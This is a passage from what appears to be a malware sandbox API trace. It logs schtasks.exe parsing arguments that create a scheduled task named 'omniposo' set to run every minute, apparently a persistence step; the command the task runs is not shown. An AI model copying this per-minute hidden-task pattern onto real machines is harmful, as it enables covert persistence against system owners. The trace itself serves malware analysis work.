(HeapHandle=0x350000, Flags=0xc, Size=0x74e) returned 0x36d1c0 [0089.829] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0089.829] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x36d1c0 | out: lpData=0x36d1c0) returned 1 [0089.829] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0089.829] VerQueryValueW (in: pBlock=0x36d1c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19f748, puLen=0x19f7b0 | out: lplpBuffer=0x19f748*=0x36d55c, puLen=0x19f7b0) returned 1 [0089.832] _memicmp (_Buf1=0x36cbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.833] _vsnwprintf (in: _Buffer=0x36cbd0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x19f728 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0089.833] VerQueryValueW (in: pBlock=0x36d1c0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x19f7b8, puLen=0x19f7a8 | out: lplpBuffer=0x19f7b8*=0x36d388, puLen=0x19f7a8) returned 1 [0089.833] lstrlenW (lpString="schtasks.exe") returned 12 [0089.833] lstrlenW (lpString="schtasks.exe") returned 12 [0089.833] lstrlenW (lpString=".EXE") returned 4 [0089.833] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0089.834] lstrlenW (lpString="schtasks.exe") returned 12 [0089.834] lstrlenW (lpString=".EXE") returned 4 [0089.835] _memicmp (_Buf1=0x36cbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.835] lstrlenW (lpString="schtasks") returned 8 [0089.835] GetProcessHeap () returned 0x350000 [0089.835] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x365e00 [0089.835] GetProcessHeap () returned 0x350000 [0089.835] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36dad0 [0089.836] GetProcessHeap () returned 0x350000 [0089.836] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36db00 [0089.836] GetProcessHeap () returned 0x350000 [0089.836] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36db30 [0089.836] GetProcessHeap () returned 0x350000 [0089.836] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36cfd0 [0089.836] _memicmp (_Buf1=0x36cfd0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.836] GetProcessHeap () returned 0x350000 [0089.836] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0xa0) returned 0x36cff0 [0089.836] GetProcessHeap () returned 0x350000 [0089.836] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36db60 [0089.837] GetProcessHeap () returned 0x350000 [0089.837] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36db90 [0089.837] GetProcessHeap () returned 0x350000 [0089.837] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36dbc0 [0089.837] GetProcessHeap () returned 0x350000 [0089.837] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36d0a0 [0089.837] _memicmp (_Buf1=0x36d0a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.837] GetProcessHeap () returned 0x350000 [0089.837] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x200) returned 0x36e2a0 [0089.837] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x36e2a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0089.838] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0089.838] GetProcessHeap () returned 0x350000 [0089.838] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x30) returned 0x367b70 [0089.838] _vsnwprintf (in: _Buffer=0x36cff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x19f728 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0089.838] GetProcessHeap () returned 0x350000 [0089.838] GetProcessHeap () returned 0x350000 [0089.838] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d1c0) returned 1 [0089.838] GetProcessHeap () returned 0x350000 [0089.838] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d1c0) returned 0x74e [0089.839] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d1c0 | out: hHeap=0x350000) returned 1 [0089.839] SetLastError (dwErrCode=0x0) [0089.839] GetThreadLocale () returned 0x409 [0089.839] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.840] lstrlenW (lpString="?") returned 1 [0089.840] GetThreadLocale () returned 0x409 [0089.840] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.840] lstrlenW (lpString="create") returned 6 [0089.840] GetThreadLocale () returned 0x409 [0089.840] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.840] lstrlenW (lpString="delete") returned 6 [0089.840] GetThreadLocale () returned 0x409 [0089.841] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.841] lstrlenW (lpString="query") returned 5 [0089.841] GetThreadLocale () returned 0x409 [0089.841] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.841] lstrlenW (lpString="change") returned 6 [0089.841] GetThreadLocale () returned 0x409 [0089.841] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.841] lstrlenW (lpString="run") returned 3 [0089.841] GetThreadLocale () returned 0x409 [0089.841] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.841] lstrlenW (lpString="end") returned 3 [0089.841] GetThreadLocale () returned 0x409 [0089.841] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.842] lstrlenW (lpString="showsid") returned 7 [0089.842] GetThreadLocale () returned 0x409 [0089.842] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0089.842] SetLastError (dwErrCode=0x0) [0089.842] SetLastError (dwErrCode=0x0) [0089.842] lstrlenW (lpString="/create") returned 7 [0089.842] lstrlenW (lpString="-/") returned 2 [0089.842] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0089.842] lstrlenW (lpString="?") returned 1 [0089.842] lstrlenW (lpString="?") returned 1 [0089.842] GetProcessHeap () returned 0x350000 [0089.842] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36d1c0 [0089.842] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.843] GetProcessHeap () returned 0x350000 [0089.843] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0xa) returned 0x36d1e0 [0089.843] lstrlenW (lpString="create") returned 6 [0089.843] GetProcessHeap () returned 0x350000 [0089.843] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36d200 [0089.843] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.843] GetProcessHeap () returned 0x350000 [0089.843] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x14) returned 0x36d220 [0089.843] _vsnwprintf (in: _Buffer=0x36d1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|?|") returned 3 [0089.843] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|create|") returned 8 [0089.843] lstrlenW (lpString="|?|") returned 3 [0089.843] lstrlenW (lpString="|create|") returned 8 [0089.844] SetLastError (dwErrCode=0x490) [0089.844] lstrlenW (lpString="create") returned 6 [0089.844] lstrlenW (lpString="create") returned 6 [0089.844] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.844] GetProcessHeap () returned 0x350000 [0089.844] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d1e0) returned 1 [0089.844] GetProcessHeap () returned 0x350000 [0089.844] RtlReAllocateHeap (Heap=0x350000, Flags=0xc, Ptr=0x36d1e0, Size=0x14) returned 0x36d240 [0089.844] lstrlenW (lpString="create") returned 6 [0089.844] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.844] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|create|") returned 8 [0089.845] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|create|") returned 8 [0089.845] lstrlenW (lpString="|create|") returned 8 [0089.845] lstrlenW (lpString="|create|") returned 8 [0089.845] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0089.845] SetLastError (dwErrCode=0x0) [0089.845] SetLastError (dwErrCode=0x0) [0089.845] SetLastError (dwErrCode=0x0) [0089.845] lstrlenW (lpString="/tn") returned 3 [0089.845] lstrlenW (lpString="-/") returned 2 [0089.845] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0089.845] lstrlenW (lpString="?") returned 1 [0089.845] lstrlenW (lpString="?") returned 1 [0089.845] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.845] lstrlenW (lpString="tn") returned 2 [0089.845] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.845] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|?|") returned 3 [0089.845] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tn|") returned 4 [0089.846] lstrlenW (lpString="|?|") returned 3 [0089.846] lstrlenW (lpString="|tn|") returned 4 [0089.846] SetLastError (dwErrCode=0x490) [0089.846] lstrlenW (lpString="create") returned 6 [0089.846] lstrlenW (lpString="create") returned 6 [0089.846] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.846] lstrlenW (lpString="tn") returned 2 [0089.846] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.846] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|create|") returned 8 [0089.846] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tn|") returned 4 [0089.846] lstrlenW (lpString="|create|") returned 8 [0089.846] lstrlenW (lpString="|tn|") returned 4 [0089.846] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0089.846] SetLastError (dwErrCode=0x490) [0089.846] lstrlenW (lpString="delete") returned 6 [0089.846] lstrlenW (lpString="delete") returned 6 [0089.846] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.847] lstrlenW (lpString="tn") returned 2 [0089.847] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.847] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|delete|") returned 8 [0089.847] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tn|") returned 4 [0089.847] lstrlenW (lpString="|delete|") returned 8 [0089.847] lstrlenW (lpString="|tn|") returned 4 [0089.847] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0089.847] SetLastError (dwErrCode=0x490) [0089.847] lstrlenW (lpString="query") returned 5 [0089.847] lstrlenW (lpString="query") returned 5 [0089.847] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.847] lstrlenW (lpString="tn") returned 2 [0089.847] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.847] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|query|") returned 7 [0089.847] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tn|") returned 4 [0089.847] lstrlenW (lpString="|query|") returned 7 [0089.847] lstrlenW (lpString="|tn|") returned 4 [0089.848] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0089.848] SetLastError (dwErrCode=0x490) [0089.848] lstrlenW (lpString="change") returned 6 [0089.848] lstrlenW (lpString="change") returned 6 [0089.848] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.848] lstrlenW (lpString="tn") returned 2 [0089.848] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.848] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|change|") returned 8 [0089.848] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tn|") returned 4 [0089.850] lstrlenW (lpString="|change|") returned 8 [0089.851] lstrlenW (lpString="|tn|") returned 4 [0089.851] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0089.851] SetLastError (dwErrCode=0x490) [0089.851] lstrlenW (lpString="run") returned 3 [0089.851] lstrlenW (lpString="run") returned 3 [0089.851] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.851] lstrlenW (lpString="tn") returned 2 [0089.851] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.851] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|run|") returned 5 [0089.851] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tn|") returned 4 [0089.851] lstrlenW (lpString="|run|") returned 5 [0089.851] lstrlenW (lpString="|tn|") returned 4 [0089.851] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0089.851] SetLastError (dwErrCode=0x490) [0089.851] lstrlenW (lpString="end") returned 3 [0089.851] lstrlenW (lpString="end") returned 3 [0089.851] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.851] lstrlenW (lpString="tn") returned 2 [0089.851] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.851] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|end|") returned 5 [0089.851] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tn|") returned 4 [0089.851] lstrlenW (lpString="|end|") returned 5 [0089.851] lstrlenW (lpString="|tn|") returned 4 [0089.851] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0089.851] SetLastError (dwErrCode=0x490) [0089.851] lstrlenW (lpString="showsid") returned 7 [0089.851] lstrlenW (lpString="showsid") returned 7 [0089.851] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.851] GetProcessHeap () returned 0x350000 [0089.851] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d240) returned 1 [0089.852] GetProcessHeap () returned 0x350000 [0089.852] RtlReAllocateHeap (Heap=0x350000, Flags=0xc, Ptr=0x36d240, Size=0x16) returned 0x36d240 [0089.852] lstrlenW (lpString="tn") returned 2 [0089.852] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.852] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|showsid|") returned 9 [0089.852] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tn|") returned 4 [0089.852] lstrlenW (lpString="|showsid|") returned 9 [0089.852] lstrlenW (lpString="|tn|") returned 4 [0089.852] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0089.852] SetLastError (dwErrCode=0x490) [0089.852] SetLastError (dwErrCode=0x490) [0089.852] SetLastError (dwErrCode=0x0) [0089.852] lstrlenW (lpString="/tn") returned 3 [0089.852] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0089.852] SetLastError (dwErrCode=0x490) [0089.852] SetLastError (dwErrCode=0x0) [0089.852] lstrlenW (lpString="/tn") returned 3 [0089.852] GetProcessHeap () returned 0x350000 [0089.852] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x8) returned 0x36d1e0 [0089.852] GetProcessHeap () returned 0x350000 [0089.852] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36dbf0 [0089.852] SetLastError (dwErrCode=0x0) [0089.852] SetLastError (dwErrCode=0x0) [0089.852] lstrlenW (lpString="omniposo") returned 8 [0089.852] lstrlenW (lpString="-/") returned 2 [0089.852] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0089.852] SetLastError (dwErrCode=0x490) [0089.852] SetLastError (dwErrCode=0x490) [0089.852] SetLastError (dwErrCode=0x0) [0089.852] lstrlenW (lpString="omniposo") returned 8 [0089.853] StrChrIW (lpStart="omniposo", wMatch=0x3a) returned 0x0 [0089.853] SetLastError (dwErrCode=0x490) [0089.853] SetLastError (dwErrCode=0x0) [0089.853] lstrlenW (lpString="omniposo") returned 8 [0089.853] GetProcessHeap () returned 0x350000 [0089.853] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x12) returned 0x36d270 [0089.853] GetProcessHeap () returned 0x350000 [0089.853] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36dc20 [0089.853] SetLastError (dwErrCode=0x0) [0089.853] SetLastError (dwErrCode=0x0) [0089.853] lstrlenW (lpString="/sc") returned 3 [0089.853] lstrlenW (lpString="-/") returned 2 [0089.853] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0089.853] lstrlenW (lpString="?") returned 1 [0089.853] lstrlenW (lpString="?") returned 1 [0089.853] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.853] lstrlenW (lpString="sc") returned 2 [0089.853] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.853] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|?|") returned 3 [0089.853] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|sc|") returned 4 [0089.853] lstrlenW (lpString="|?|") returned 3 [0089.853] lstrlenW (lpString="|sc|") returned 4 [0089.853] SetLastError (dwErrCode=0x490) [0089.853] lstrlenW (lpString="create") returned 6 [0089.853] lstrlenW (lpString="create") returned 6 [0089.853] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.853] lstrlenW (lpString="sc") returned 2 [0089.853] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.853] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|create|") returned 8 [0089.853] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|sc|") returned 4 [0089.853] lstrlenW (lpString="|create|") returned 8 [0089.853] lstrlenW (lpString="|sc|") returned 4 [0089.854] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0089.854] SetLastError (dwErrCode=0x490) [0089.854] lstrlenW (lpString="delete") returned 6 [0089.854] lstrlenW (lpString="delete") returned 6 [0089.854] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.854] lstrlenW (lpString="sc") returned 2 [0089.854] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.854] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|delete|") returned 8 [0089.854] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|sc|") returned 4 [0089.854] lstrlenW (lpString="|delete|") returned 8 [0089.854] lstrlenW (lpString="|sc|") returned 4 [0089.854] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0089.854] SetLastError (dwErrCode=0x490) [0089.854] lstrlenW (lpString="query") returned 5 [0089.854] lstrlenW (lpString="query") returned 5 [0089.854] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.854] lstrlenW (lpString="sc") returned 2 [0089.854] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.854] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|query|") returned 7 [0089.854] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|sc|") returned 4 [0089.854] lstrlenW (lpString="|query|") returned 7 [0089.854] lstrlenW (lpString="|sc|") returned 4 [0089.854] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0089.854] SetLastError (dwErrCode=0x490) [0089.854] lstrlenW (lpString="change") returned 6 [0089.854] lstrlenW (lpString="change") returned 6 [0089.854] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.854] lstrlenW (lpString="sc") returned 2 [0089.854] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.854] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|change|") returned 8 [0089.854] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|sc|") returned 4 [0089.855] lstrlenW (lpString="|change|") returned 8 [0089.855] lstrlenW (lpString="|sc|") returned 4 [0089.855] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0089.855] SetLastError (dwErrCode=0x490) [0089.855] lstrlenW (lpString="run") returned 3 [0089.855] lstrlenW (lpString="run") returned 3 [0089.855] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.855] lstrlenW (lpString="sc") returned 2 [0089.855] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.855] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|run|") returned 5 [0089.855] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|sc|") returned 4 [0089.855] lstrlenW (lpString="|run|") returned 5 [0089.855] lstrlenW (lpString="|sc|") returned 4 [0089.855] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0089.855] SetLastError (dwErrCode=0x490) [0089.855] lstrlenW (lpString="end") returned 3 [0089.855] lstrlenW (lpString="end") returned 3 [0089.855] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.855] lstrlenW (lpString="sc") returned 2 [0089.855] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.855] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|end|") returned 5 [0089.855] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|sc|") returned 4 [0089.855] lstrlenW (lpString="|end|") returned 5 [0089.855] lstrlenW (lpString="|sc|") returned 4 [0089.855] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0089.855] SetLastError (dwErrCode=0x490) [0089.855] lstrlenW (lpString="showsid") returned 7 [0089.855] lstrlenW (lpString="showsid") returned 7 [0089.855] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.855] lstrlenW (lpString="sc") returned 2 [0089.855] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.856] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|showsid|") returned 9 [0089.856] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|sc|") returned 4 [0089.856] lstrlenW (lpString="|showsid|") returned 9 [0089.856] lstrlenW (lpString="|sc|") returned 4 [0089.856] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0089.856] SetLastError (dwErrCode=0x490) [0089.856] SetLastError (dwErrCode=0x490) [0089.856] SetLastError (dwErrCode=0x0) [0089.856] lstrlenW (lpString="/sc") returned 3 [0089.856] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0089.856] SetLastError (dwErrCode=0x490) [0089.856] SetLastError (dwErrCode=0x0) [0089.856] lstrlenW (lpString="/sc") returned 3 [0089.856] GetProcessHeap () returned 0x350000 [0089.856] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x8) returned 0x36d290 [0089.856] GetProcessHeap () returned 0x350000 [0089.856] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36dc50 [0089.856] SetLastError (dwErrCode=0x0) [0089.856] SetLastError (dwErrCode=0x0) [0089.856] lstrlenW (lpString="MINUTE") returned 6 [0089.856] lstrlenW (lpString="-/") returned 2 [0089.856] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0089.856] SetLastError (dwErrCode=0x490) [0089.856] SetLastError (dwErrCode=0x490) [0089.856] SetLastError (dwErrCode=0x0) [0089.856] lstrlenW (lpString="MINUTE") returned 6 [0089.856] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0089.856] SetLastError (dwErrCode=0x490) [0089.856] SetLastError (dwErrCode=0x0) [0089.856] lstrlenW (lpString="MINUTE") returned 6 [0089.856] GetProcessHeap () returned 0x350000 [0089.856] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0xe) returned 0x36d2b0 [0089.856] GetProcessHeap () returned 0x350000 [0089.856] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36dc80 [0089.856] SetLastError (dwErrCode=0x0) [0089.856] SetLastError (dwErrCode=0x0) [0089.856] lstrlenW (lpString="/mo") returned 3 [0089.857] lstrlenW (lpString="-/") returned 2 [0089.857] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0089.857] lstrlenW (lpString="?") returned 1 [0089.857] lstrlenW (lpString="?") returned 1 [0089.857] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.857] lstrlenW (lpString="mo") returned 2 [0089.857] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.857] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|?|") returned 3 [0089.857] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|mo|") returned 4 [0089.857] lstrlenW (lpString="|?|") returned 3 [0089.857] lstrlenW (lpString="|mo|") returned 4 [0089.857] SetLastError (dwErrCode=0x490) [0089.857] lstrlenW (lpString="create") returned 6 [0089.857] lstrlenW (lpString="create") returned 6 [0089.857] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.857] lstrlenW (lpString="mo") returned 2 [0089.857] _memicmp (_Buf1=0x36d200, 